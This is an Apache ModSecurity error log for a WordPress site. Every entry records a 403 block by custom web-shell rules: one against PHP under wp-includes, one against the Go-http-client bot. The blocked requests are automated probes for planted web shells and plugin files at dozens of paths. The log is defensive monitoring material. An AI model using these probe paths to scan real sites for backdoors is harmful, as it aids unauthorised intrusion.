[Fri Jan 09 20:21:18.769887 2026] [:error] [pid 30019:tid 30026] [client 85.203.21.232:37601] [client 85.203.21.232] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/SimplePie/new.php"] [unique_id "aWDyvkz3igHGwX5f7Irn7gAAAAI"]
[Fri Jan 09 20:21:19.123196 2026] [:error] [pid 14770:tid 14777] [client 85.203.21.193:24497] [client 85.203.21.193] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/blocks/group/"] [unique_id "aWDyvx5QbaVZ-6newJY8IgAAAgU"]
[Fri Jan 09 20:21:19.478062 2026] [:error] [pid 14739:tid 14755] [client 85.203.21.52:38685] [client 85.203.21.52] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/languages/plugins/js/crd/admin.php"] [unique_id "aWDyv163M6_PkLt_IJJokAAAAc4"]
[Fri Jan 09 20:21:19.839329 2026] [:error] [pid 14872:tid 14895] [client 85.203.21.206:62611] [client 85.203.21.206] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/themes/twentytwentyfour/uploads/isc/"] [unique_id "aWDyv6IUELhgYLNp1sY3gwAAAtU"]
[Fri Jan 09 20:21:20.193907 2026] [:error] [pid 30020:tid 30077] [client 85.203.21.155:44159] [client 85.203.21.155] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/js/thickbox/img/docs/includes/data/tmp/klo/aawl/"] [unique_id "aWDywMrjc66qOisG6L3YkAAAAJc"]
[Fri Jan 09 20:21:20.546666 2026] [:error] [pid 14831:tid 14843] [client 85.203.21.228:43569] [client 85.203.21.228] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/themes/wp-pridmag/load.php"] [unique_id "aWDywPaKOMCmJcAyBm048QAAAoo"]
[Fri Jan 09 20:21:20.922816 2026] [:error] [pid 14872:tid 14890] [client 85.203.21.206:57929] [client 85.203.21.206] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/block-supports/"] [unique_id "aWDywKIUELhgYLNp1sY3hQAAAtA"]
[Fri Jan 09 20:21:21.276320 2026] [:error] [pid 30019:tid 30044] [client 85.203.21.217:24979] [client 85.203.21.217] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/blocks/social-links/"] [unique_id "aWDywUz3igHGwX5f7Irn8AAAABQ"]
[Fri Jan 09 20:21:21.633314 2026] [:error] [pid 30021:tid 30104] [client 85.203.21.226:35475] [client 85.203.21.226] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/blocks/pullquote/"] [unique_id "aWDywQ_M8aRtsTog5J-e3AAAANc"]
[Fri Jan 09 20:21:21.981079 2026] [:error] [pid 30019:tid 30028] [client 85.203.21.237:53241] [client 85.203.21.237] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/blocks/list/"] [unique_id "aWDywUz3igHGwX5f7Irn8gAAAAQ"]
[Fri Jan 09 20:21:22.327524 2026] [:error] [pid 1366:tid 1382] [client 85.203.21.237:48477] [client 85.203.21.237] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/blocks/tag-cloud/"] [unique_id "aWDywhmasveKu8_ec1VqiQAAAY0"]
[Fri Jan 09 20:21:22.684236 2026] [:error] [pid 14739:tid 14759] [client 85.203.21.201:51201] [client 85.203.21.201] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/blocks/audio/go.php"] [unique_id "aWDywl63M6_PkLt_IJJokQAAAdI"]
[Fri Jan 09 20:21:23.049823 2026] [:error] [pid 44848:tid 44862] [client 85.203.21.192:37099] [client 85.203.21.192] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/ID3/imagess.php"] [unique_id "aWDyw6jajoTJAbEk87zJqQAAAEw"]
[Fri Jan 09 20:21:23.429104 2026] [:error] [pid 14770:tid 14784] [client 85.203.21.217:48265] [client 85.203.21.217] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/network/imagess.php"] [unique_id "aWDywx5QbaVZ-6newJY8JgAAAgw"]
[Fri Jan 09 20:21:23.786641 2026] [:error] [pid 30020:tid 30078] [client 85.203.21.188:41861] [client 85.203.21.188] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/maint/let.php"] [unique_id "aWDyw8rjc66qOisG6L3YlgAAAJg"]
[Fri Jan 09 20:21:24.193052 2026] [:error] [pid 14872:tid 14876] [client 85.203.21.235:30037] [client 85.203.21.235] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/go.php"] [unique_id "aWDyxKIUELhgYLNp1sY3iQAAAsI"]
[Fri Jan 09 20:21:24.593213 2026] [:error] [pid 30021:tid 30094] [client 85.203.21.208:54027] [client 85.203.21.208] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/user/huan.php"] [unique_id "aWDyxA_M8aRtsTog5J-e4QAAAM0"]
[Fri Jan 09 20:21:24.940953 2026] [:error] [pid 1366:tid 1383] [client 193.37.32.2:61293] [client 193.37.32.2] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/css/autoload_classmap.php"] [unique_id "aWDyxBmasveKu8_ec1VqjQAAAY4"]
[Fri Jan 09 20:21:25.295453 2026] [:error] [pid 30019:tid 30038] [client 85.203.21.186:22287] [client 85.203.21.186] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/block-patterns/chosen.php"] [unique_id "aWDyxUz3igHGwX5f7Irn-AAAAA4"]
[Fri Jan 09 20:21:25.678335 2026] [:error] [pid 14831:tid 14846] [client 193.37.32.3:64385] [client 193.37.32.3] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/theme-compat/autoload_classmap.php"] [unique_id "aWDyxfaKOMCmJcAyBm04-QAAAo0"]
[Fri Jan 09 20:21:26.035677 2026] [:error] [pid 30020:tid 30076] [client 85.203.21.58:51233] [client 85.203.21.58] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/mail.php"] [unique_id "aWDyxsrjc66qOisG6L3YlwAAAJY"]
[Fri Jan 09 20:21:26.391431 2026] [:error] [pid 44848:tid 44868] [client 85.203.21.237:60531] [client 85.203.21.237] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/loarrfh/"] [unique_id "aWDyxqjajoTJAbEk87zJsQAAAFI"]
[Fri Jan 09 20:21:26.757040 2026] [:error] [pid 1366:tid 1369] [client 85.203.21.178:26677] [client 85.203.21.178] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/foogallery/foogallery.php"] [unique_id "aWDyxhmasveKu8_ec1VqjwAAAYE"]
[Fri Jan 09 20:21:27.114456 2026] [:error] [pid 30020:tid 30063] [client 85.203.21.41:47117] [client 85.203.21.41] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/404-solution/404-solution.php"] [unique_id "aWDyx8rjc66qOisG6L3YmAAAAIk"]
[Fri Jan 09 20:21:27.470331 2026] [:error] [pid 14801:tid 14811] [client 85.203.21.188:44107] [client 85.203.21.188] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/duplicator/src/moon.php"] [unique_id "aWDyx98UWXrz_OQYgF1jmgAAAkg"]
[Fri Jan 09 20:21:27.830655 2026] [:error] [pid 14739:tid 14741] [client 85.203.21.197:35801] [client 85.203.21.197] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/admin-menu-search/admin-menu-search.php"] [unique_id "aWDyx163M6_PkLt_IJJolgAAAcA"]
[Fri Jan 09 20:21:28.186717 2026] [:error] [pid 14831:tid 14841] [client 85.203.21.156:37609] [client 85.203.21.156] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/admin-site-enhancements/admin-site-enhancements.php"] [unique_id "aWDyyPaKOMCmJcAyBm04-wAAAog"]
[Fri Jan 09 20:21:28.541599 2026] [:error] [pid 14801:tid 14808] [client 85.203.21.164:42533] [client 85.203.21.164] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/members/members.php"] [unique_id "aWDyyN8UWXrz_OQYgF1jnAAAAkU"]
[Fri Jan 09 20:21:28.900042 2026] [:error] [pid 1366:tid 1376] [client 85.203.21.237:34687] [client 85.203.21.237] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/performance-lab/load.php"] [unique_id "aWDyyBmasveKu8_ec1VqlAAAAYc"]
[Fri Jan 09 20:21:29.248793 2026] [:error] [pid 30021:tid 30105] [client 85.203.21.223:32451] [client 85.203.21.223] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/performance-lab/includes/admin/tags.php"] [unique_id "aWDyyQ_M8aRtsTog5J-e4gAAANg"]
[Fri Jan 09 20:21:29.604296 2026] [:error] [pid 14831:tid 14854] [client 85.203.21.237:58821] [client 85.203.21.237] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/tinymce-advanced/tinymce-advanced.php"] [unique_id "aWDyyfaKOMCmJcAyBm04_gAAApU"]
[Fri Jan 09 20:21:29.953310 2026] [:error] [pid 14739:tid 14745] [client 85.203.21.172:64215] [client 85.203.21.172] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/themes/fitnessbase/inc/customizer/al.php"] [unique_id "aWDyyV63M6_PkLt_IJJolwAAAcQ"]
[Fri Jan 09 20:21:30.307855 2026] [:error] [pid 30021:tid 30097] [client 85.203.21.161:44711] [client 85.203.21.161] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/themes/covr-wpcom/assets/fonts/manrope.php"] [unique_id "aWDyyg_M8aRtsTog5J-e4wAAANA"]
[Fri Jan 09 20:21:30.654170 2026] [:error] [pid 30021:tid 30104] [client 85.203.21.228:34387] [client 85.203.21.228] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/themes/hello-elementor/new.php"] [unique_id "aWDyyg_M8aRtsTog5J-e5AAAANc"]
[Fri Jan 09 20:21:31.015886 2026] [:error] [pid 14872:tid 14888] [client 85.203.21.192:58321] [client 85.203.21.192] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/themes/theme-check/theme-check.php"] [unique_id "aWDyy6IUELhgYLNp1sY3kAAAAs4"]
[Fri Jan 09 20:21:31.366957 2026] [:error] [pid 14739:tid 14753] [client 85.203.21.184:61659] [client 85.203.21.184] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/advanced-llms-txt-generator/assets/css/css_json.php"] [unique_id "aWDyy163M6_PkLt_IJJomgAAAcw"]
[Fri Jan 09 20:21:31.723145 2026] [:error] [pid 30020:tid 30064] [client 85.203.21.239:57473] [client 85.203.21.239] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/so-pinyin-slugs/inc/new.php"] [unique_id "aWDyy8rjc66qOisG6L3YmgAAAIo"]
[Fri Jan 09 20:21:32.077695 2026] [:error] [pid 14770:tid 14774] [client 85.203.21.41:61437] [client 85.203.21.41] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/Iitespeed-cache/zczv.php"] [unique_id "aWDyzB5QbaVZ-6newJY8LAAAAgI"]
[Fri Jan 09 20:21:32.432361 2026] [:error] [pid 14872:tid 14875] [client 85.203.21.222:25679] [client 85.203.21.222] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/uploads/woocommerce_uploads/about.php"] [unique_id "aWDyzKIUELhgYLNp1sY3lQAAAsE"]
[Fri Jan 09 20:21:32.779940 2026] [:error] [pid 14872:tid 14876] [client 85.203.21.157:22177] [client 85.203.21.157] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/carousel-slider/templates/loop/classwithtostring.php"] [unique_id "aWDyzKIUELhgYLNp1sY3lgAAAsI"]
[Fri Jan 09 20:21:33.137419 2026] [:error] [pid 14770:tid 14780] [client 85.203.21.193:48459] [client 85.203.21.193] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/adca.php"] [unique_id "aWDyzR5QbaVZ-6newJY8LgAAAgg"]
[Fri Jan 09 20:21:33.491807 2026] [:error] [pid 30019:tid 30044] [client 85.203.21.160:46265] [client 85.203.21.160] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/maintenance/bolt.php"] [unique_id "aWDyzUz3igHGwX5f7Irn-gAAABQ"]
[Fri Jan 09 20:21:33.842786 2026] [:error] [pid 14770:tid 14783] [client 85.203.21.167:40383] [client 85.203.21.167] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/js/widgets/html-api/about.php"] [unique_id "aWDyzR5QbaVZ-6newJY8LwAAAgs"]
[Fri Jan 09 20:21:34.192914 2026] [:error] [pid 14770:tid 14772] [client 85.203.21.54:49181] [client 85.203.21.54] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/user/interactivity-api/"] [unique_id "aWDyzh5QbaVZ-6newJY8MQAAAgA"]
[Fri Jan 09 20:21:34.554315 2026] [:error] [pid 14739:tid 14765] [client 85.203.21.54:60925] [client 85.203.21.54] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/siteorigin-panels/"] [unique_id "aWDyzl63M6_PkLt_IJJomwAAAdg"]
[Fri Jan 09 20:21:34.909770 2026] [:error] [pid 1366:tid 1387] [client 85.203.21.192:28615] [client 85.203.21.192] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/includes/nav-menu-trigger.php"] [unique_id "aWDyzhmasveKu8_ec1VqmgAAAZI"]
[Fri Jan 09 20:21:35.261258 2026] [:error] [pid 14801:tid 14805] [client 85.203.21.159:23099] [client 85.203.21.159] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/link-template-firewall.php"] [unique_id "aWDyz98UWXrz_OQYgF1jngAAAkI"]
[Fri Jan 09 20:21:35.612360 2026] [:error] [pid 30019:tid 30025] [client 85.203.21.222:57231] [client 85.203.21.222] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/themes/hello-elementor/assets/"] [unique_id "aWDyz0z3igHGwX5f7Irn-wAAAAE"]
[Fri Jan 09 20:21:36.012767 2026] [:error] [pid 30021:tid 30092] [client 85.203.21.157:37317] [client 85.203.21.157] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/blocks/post-author/"] [unique_id "aWDy0A_M8aRtsTog5J-e6AAAAMs"]
[Fri Jan 09 20:21:36.364883 2026] [:error] [pid 14801:tid 14813] [client 85.203.21.192:58495] [client 85.203.21.192] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/sodium_compat/namespaced/Core/"] [unique_id "aWDy0N8UWXrz_OQYgF1joQAAAko"]
[Fri Jan 09 20:21:36.713347 2026] [:error] [pid 14801:tid 14812] [client 85.203.21.195:38919] [client 85.203.21.195] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/js/wp-conflg.php"] [unique_id "aWDy0N8UWXrz_OQYgF1jpAAAAkk"]
[Fri Jan 09 20:21:37.067119 2026] [:error] [pid 30019:tid 30028] [client 85.203.21.57:24951] [client 85.203.21.57] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/blocks/post-template/lock.php"] [unique_id "aWDy0Uz3igHGwX5f7Irn_AAAAAQ"]
[Fri Jan 09 20:21:37.424411 2026] [:error] [pid 30019:tid 30048] [client 85.203.21.210:28979] [client 85.203.21.210] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/css/dist/components/style-rtl.min_42.php"] [unique_id "aWDy0Uz3igHGwX5f7Irn_QAAABg"]
